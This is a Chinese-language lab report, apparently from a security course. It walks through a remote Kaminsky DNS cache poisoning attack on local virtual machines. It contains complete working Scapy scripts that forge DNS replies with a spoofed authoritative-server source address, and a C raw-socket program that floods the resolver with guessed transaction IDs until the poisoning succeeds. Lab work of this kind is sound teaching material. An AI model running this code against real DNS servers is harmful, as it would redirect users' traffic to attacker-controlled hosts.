Remote DNS Attack

Overview

  • 在这个实验中更加专注于DNS缓存中毒攻击,而相比于之前的local DNS Attack(攻击者和受害者DNS服务器在一个子网上面),这个实验不允许进行数据包的嗅探

  • 1-1

  • 其次,对应的主机设置

    • 用户主机(10.0.2.4)

      1-2

    • DNS Server(10.0.2.5)

      1-3

    • Attacker(10.0.2.7)

      1-4

Setup Task

task 1:配置用户虚拟机

当配置完成之后,运行dig www.baidu.com

1-5

可以看到当10.0.2.5的DNS缓存有相应条目的时候,会返回给用户主机,所以本地DNS服务器是10.0.2.5,配置正确

task 2:配置本地DNS服务器

修改对应的/etc/bind/named.conf

2-1

对应的/etc/bind/named.cong.options

2-2

task 3:配置攻击者主机

3-1

3-2

task 4:测试配置

step 1:获取ns.attacker32.com的IP地址

输入下面命令,会得到相应的运行结果

dig ns.attacker32.com

4-1

通过task3的文件内容可以知道对应的IP地址就是10.0.2.9,正确

step 2:获取www.example.com的IP地址

  • 首先是把DNS查询记录发向官方的nameserver
dig www.example.com

4-2

  • 之后是将DNS query发往ns.attacker32.com服务器
dig @ns.attacker32.com www.example.com

由于此时ns.attacker32.com对应的IP地址是10.0.2.9,按理来说需要向这台命名服务器来进行进一步的询问,但是10.0.2.9是unreachable的

4-3

The Attack Tasks

Kaminsky attack

原理

attacker向user的本地DNS服务器发送一个请求,不攻击的情况下是

5-1

而当我们在(2)进行完之后让attacker向DNS服务器发送spoofed的DNS回应的时候就可以进行注入

5-2

task 4:构建DNS请求报文

首先先通过python来查看DNS报文格式以及查询报文格式

>>> ls(DNS)
length     : ShortField (Cond)                   = (None)
id         : ShortField                          = (0)
qr         : BitField  (1 bit)                   = (0)
opcode     : BitEnumField  (4 bits)              = (0)
aa         : BitField  (1 bit)                   = (0)
tc         : BitField  (1 bit)                   = (0)
rd         : BitField  (1 bit)                   = (1)
ra         : BitField  (1 bit)                   = (0)
z          : BitField  (1 bit)                   = (0)
ad         : BitField  (1 bit)                   = (0)
cd         : BitField  (1 bit)                   = (0)
rcode      : BitEnumField  (4 bits)              = (0)
qdcount    : DNSRRCountField                     = (None)
ancount    : DNSRRCountField                     = (None)
nscount    : DNSRRCountField                     = (None)
arcount    : DNSRRCountField                     = (None)
qd         : DNSQRField                          = (None)
an         : DNSRRField                          = (None)
ns         : DNSRRField                          = (None)
ar         : DNSRRField                          = (None)
>>> ls(DNSQR)
qname      : DNSStrField                         = (b'www.example.com')
qtype      : ShortEnumField                      = (1)
qclass     : ShortEnumField                      = (1)
  • 具体代码如下
#!/usr/bin/python
from scapy.all import *

Qdsec = DNSQR(qname ='www.example.com')
dns = DNS(id=0xAAAA, qr=0, qdcount=1, ancount=0, nscount=0,
arcount=0, qd=Qdsec)

ip = IP(dst='10.0.2.5', src='10.0.2.7')
udp = UDP(dport=53, sport=33333, chksum=0)
request = ip/udp/dns
send(request)

之后在wireshark上面可以抓到对应的response的包,能够看到真正的www.example.com的IP地址(93.184.216.34),可见是DNS服务器进行了从根目录开始的查询

5-3

之后将DNS缓存进行转存

sudo rndc dumpdb -cache
sudo cat /var/cache/bind/dump.db

可看到对应条目已经在DNS缓存当中

5-4

task 5:欺骗DNS reply

具体code

#!/usr/bin/python
from scapy.all import *

name = 'www.example.com'       #对应的查询报文端中的hostname
domain = 'example.com'         #上面name所属的域名
ns = 'ns.attacker32.com'       #这个域名的nameserver
Qdsec = DNSQR(qname=name)  
Anssec = DNSRR(rrname=name, type='A', rdata='1.2.3.4', ttl=259200)
NSsec = DNSRR(rrname=domain, type='NS', rdata=ns, ttl=259200)
dns = DNS(id=0xAAAA, aa=1, rd=1, qr=1, qdcount=1,
          ancount=1, nscount=1, arcount=0,
          qd=Qdsec, an=Anssec, ns=NSsec)
ip = IP(dst='10.0.2.5', src='199.43.135.53')      #10.0.2.5是本地DNS服务器的地址,而199.43.135.53是example.com域的权威服务器的IP地址
udp = UDP(dport=33333, sport=53, chksum=0)
reply = ip/udp/dns
send(reply)

运行后进行wireshark抓包

5-5

可以看到对应的www.example.com的IP地址已经变为了1.2.3.4

但是此时将对应的DNS缓存打印出来,会发现并没有对应条目,猜测是只有在本地DNS服务器向外发送DNS query之后,如果收到了匹配的DNS response,才会存储在DNS缓存中

task 6:发动kaminsky attack

具体code如下

  • 首先是负责构造reply报文格式的py文件
#!/usr/bin/python3
from scapy.all import *
# Construct the DNS header and payload
name = 'zzzzz.example.com'
domain = 'example.com'
ns = 'ns.attacker32.com'

Qdsec = DNSQR(qname=name)
Anssec = DNSRR(rrname=name, type='A', rdata='1.1.2.2', ttl=259200)
NSsec = DNSRR(rrname = domain, type = 'NS', rdata = ns, ttl = 259200)
Addsec = DNSRR(rrname = ns, type = 'A', rdata = '10.0.2.7',ttl = 259200)
dns = DNS(id=0xAAAA, aa=1, rd=0, qr=1,
qdcount=1, ancount=1, nscount=1, arcount=1,
qd=Qdsec, an=Anssec, ns = NSsec, ar = Addsec)
# Construct the IP, UDP headers, and the entire packet
ip = IP(dst='10.0.2.5', src='199.43.135.53', chksum=0)
udp = UDP(dport=33333, sport=53, chksum=0)
pkt = ip/udp/dns
# Save the packet to a file
with open('ip_resp.bin', 'wb') as f:
    f.write(bytes(pkt))
  • 其次是构造request报文格式的py文件
#!/usr/bin/python3
from scapy.all import *

ip = IP(dst = '10.0.2.5')
udp = UDP(dport = 53, chksum = 0)

name = 'zzzzz.example.com'
Qdsec = DNSQR(qname=name)
dns = DNS(id=0x100, qr=0, qdcount=1, qd=Qdsec)
query = ip/udp/dns
with open('ip_req.bin', 'wb') as f:
    f.write(bytes(query))
  • 最后是进行发送以及欺骗的c文件
#include <stdlib.h>
#include <arpa/inet.h>
#include <string.h>
#include <stdio.h>
#include <unistd.h>
#include <time.h>

#define MAX_FILE_SIZE 1000000


/* IP Header */
struct ipheader {
    unsigned char      iph_ihl:4, //IP header length
                     iph_ver:4; //IP version
    unsigned char      iph_tos; //Type of service
    unsigned short int iph_len; //IP Packet length (data + header)
    unsigned short int iph_ident; //Identification
    unsigned short int iph_flag:3, //Fragmentation flags
                     iph_offset:13; //Flags offset
    unsigned char      iph_ttl; //Time to Live
    unsigned char      iph_protocol; //Protocol type
    unsigned short int iph_chksum; //IP datagram checksum
    struct  in_addr    iph_sourceip; //Source IP address 
    struct  in_addr    iph_destip;   //Destination IP address 
};

void send_raw_packet(char * buffer, int pkt_size);
void send_dns_request(char *ip_req, int n);
void send_dns_response(char *ip_resp, int n);

int main()
{
    long i = 0;

    srand(time(NULL));
		
    // Load the DNS request packet from file
    FILE * f_req = fopen("ip_req.bin", "rb");
    if (!f_req) {
        perror("Can't open 'ip_req.bin'");
        exit(1);
    }
    unsigned char ip_req[MAX_FILE_SIZE];
    int n_req = fread(ip_req, 1, MAX_FILE_SIZE, f_req);

    // Load the first DNS response packet from file
    FILE * f_resp = fopen("ip_resp.bin", "rb");
    if (!f_resp) {
        perror("Can't open 'ip_resp.bin'");
        exit(1);
    }
    unsigned char ip_resp[MAX_FILE_SIZE];
    int n_resp = fread(ip_resp, 1, MAX_FILE_SIZE, f_resp);

    char a[26]="abcdefghijklmnopqrstuvwxyz";
    while (1) {
        unsigned short transaction_id = 0;

        // Generate a random name with length 5
        char name[5];
        for (int k=0; k<5; k++)  
            name[k] = a[rand() % 26];

        printf("attempt #%ld. request is [%s.example.com], transaction ID is: [%hu]\n", 
             ++i, name, transaction_id);


        //##################################################################
        /* Step 1. Send a DNS request to the targeted local DNS server
              This will trigger it to send out DNS queries */

        // ... Students should add code here.
		memcpy(ip_req+41, name, 5);
        send_dns_request(ip_req, n_req);

        // Step 2. Send spoofed responses to the targeted local DNS server.
    
        // ... Students should add code here.
        memcpy(ip_resp+41, name, 5);
        memcpy(ip_resp+64, name, 5);
        for(int i = 0 ; i < 5000 ; i++)
        {
            unsigned short id =rand();
            unsigned short id_net_order = htons(id);
            memcpy(ip_resp+28, &id_net_order, 2);
            send_dns_response(ip_resp, n_resp);
        } 
        //##################################################################
    }
}


/* Use for sending DNS request.
 * Add arguments to the function definition if needed.
 * */
void send_dns_request(char *ip_req, int n)
{
  // Students need to implement this function
    send_raw_packet(ip_req, n);
}


/* Use for sending forged DNS response.
 * Add arguments to the function definition if needed.
 * */
void send_dns_response(char *ip_resp, int n)
{
  // Students need to implement this function
    send_raw_packet(ip_resp, n);
}


/* Send the raw packet out 
 *    buffer: to contain the entire IP packet, with everything filled out.
 *    pkt_size: the size of the buffer.
 * */
void send_raw_packet(char * buffer, int pkt_size)
{
    struct sockaddr_in dest_info;
    int enable = 1;

    // Step 1: Create a raw network socket.
    int sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);

    // Step 2: Set socket option.
    setsockopt(sock, IPPROTO_IP, IP_HDRINCL,
	     &enable, sizeof(enable));

    // Step 3: Provide needed information about destination.
    struct ipheader *ip = (struct ipheader *) buffer;
    dest_info.sin_family = AF_INET;
    dest_info.sin_addr = ip->iph_destip;

    // Step 4: Send the packet out.
    sendto(sock, buffer, pkt_size, 0,
       (struct sockaddr *)&dest_info, sizeof(dest_info));
    close(sock);
}

之后进行DNS缓存的存储以及查找对应的条目

6-1

可以看到对应条目已经出现,成功

task 7:检查结果

在用户主机上面分别运行dig命令

dig www.example.com
dig @ns.attacker32.com www.example.com

可以看到对应的结果是一样的,此时DNS本地服务器缓存中毒攻击成功

7-1

7-2